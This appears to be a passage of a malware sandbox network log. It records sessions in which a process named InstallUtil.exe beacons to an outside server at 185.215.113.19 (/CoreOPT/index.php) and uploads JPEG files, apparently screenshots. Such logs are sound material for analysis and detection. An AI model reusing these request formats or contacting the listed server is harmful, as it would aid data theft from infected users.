72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:24.590754986 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:25.015027046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49768	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:23.569072008 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:23.569108963 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:23.569159985 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:23.569191933 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:23.569191933 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:23.569209099 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:23.569248915 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:23.569248915 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:23.569281101 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:23.569281101 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:23.569322109 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:25.317924976 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49769	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:25.129391909 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:26.154732943 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:26.155873060 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:26.569824934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49770	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:25.814044952 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTEzODE= Host: 185.215.113.19 Content-Length: 91533 Cache-Control: no-cache
Oct 16, 2024 19:23:25.814120054 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 45 7a 4f 44 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTEzODE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:25.814120054 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:25.814147949 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:25.814147949 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:25.814178944 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:25.814178944 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:25.814207077 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:25.814207077 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:25.814235926 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:25.814235926 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:27.572355032 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49771	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:26.691553116 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:27.698559999 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:27.702716112 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:28.113375902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49772	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:27.804825068 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:27.804825068 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:27.804825068 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:27.804825068 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:27.804825068 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:27.804825068 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:27.804951906 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:27.804951906 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:27.804951906 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:27.804951906 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:27.804951906 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:29.448386908 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49773	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:28.291872025 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:29.309987068 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:29.322700977 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:29.735903025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:29.780469894 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:29.780469894 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:29.780469894 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:29.780551910 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:29.780551910 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:29.780551910 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:29.780551910 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:29.780551910 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:29.780620098 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:29.780620098 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:29.780620098 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:30.891670942 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49774	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:29.867347002 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:30.880399942 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:30.885020018 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:31.298640966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49775	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:31.134495020 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:31.134495020 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:31.134495020 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
